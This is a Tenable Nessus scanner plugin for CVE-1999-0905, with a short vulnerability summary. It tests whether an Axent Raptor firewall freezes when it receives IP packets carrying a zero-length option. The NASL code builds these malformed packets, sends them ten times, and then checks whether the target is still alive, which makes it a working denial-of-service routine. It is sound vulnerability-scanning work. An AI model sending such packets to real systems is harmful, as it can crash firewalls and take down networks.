CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
EPSS
Percentile
65.5%
It is possible to make the remote Axent raptor freeze by sending it a IP packet containing special options (of length equals to 0)
An attacker may use this flaw to make the remote firewall crash continuously, thus preventing the network from working properly.
#
# (C) Tenable Network Security, Inc.
#
# THIS SCRIPT WAS NOT TESTED !
#
include("compat.inc");
if (description)
{
script_id(10022);
script_version("1.30");
script_cvs_date("Date: 2019/03/06 18:38:55");
script_cve_id("CVE-1999-0905");
script_bugtraq_id(736);
script_name(english:"Axent Raptor Firewall Zero Length IP Remote DoS");
script_summary(english:"Crashes an axent raptor");
script_set_attribute(attribute:"synopsis", value:"It is possible to crash the remote device");
script_set_attribute(attribute:"description", value:
" It is possible to make the remote Axent raptor freeze by sending it a
IP packet containing special options (of length equals to 0)
An attacker may use this flaw to make the remote firewall crash
continuously, thus preventing the network from working properly.");
script_set_attribute(attribute:"solution", value:
"Filter the incoming IP traffic containing IP options, and contact
Axent for a patch");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"1999/10/20");
script_set_attribute(attribute:"plugin_publication_date", value:"1999/10/30");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_KILL_HOST);
script_copyright(english:"This script is Copyright (C) 1999-2019 Tenable Network Security, Inc.");
script_family(english:"Firewalls");
script_require_keys("Settings/ParanoidReport");
exit(0);
}
include("audit.inc");
include("global_settings.inc");
if (report_paranoia < 2) audit(AUDIT_PARANOID);
if ( TARGET_IS_IPV6 ) exit(0);
start_denial();
ip = forge_ip_packet(ip_hl: 5, ip_v : 4, ip_tos : 123,
ip_len : 80, ip_id:1234, ip_off : 0,
ip_ttl : 0xff, ip_p:IPPROTO_TCP,
ip_src : compat::this_host());
ipo = insert_ip_options(ip:ip, code:44, length:0, value:raw_string(0x00, 0x01));
tcp = forge_tcp_packet(ip:ipo, th_sport:80, th_dport:80, th_seq:rand(),
th_ack:rand(), th_off:5, th_flags:TH_ACK,th_win:8192,
th_x2:0, th_urp:0);
send_packet(tcp, pcap_active:FALSE) x 10;
sleep(5);
alive = end_denial();
if(!alive){
security_hole(0);
set_kb_item(name:"Host/dead", value:TRUE);
}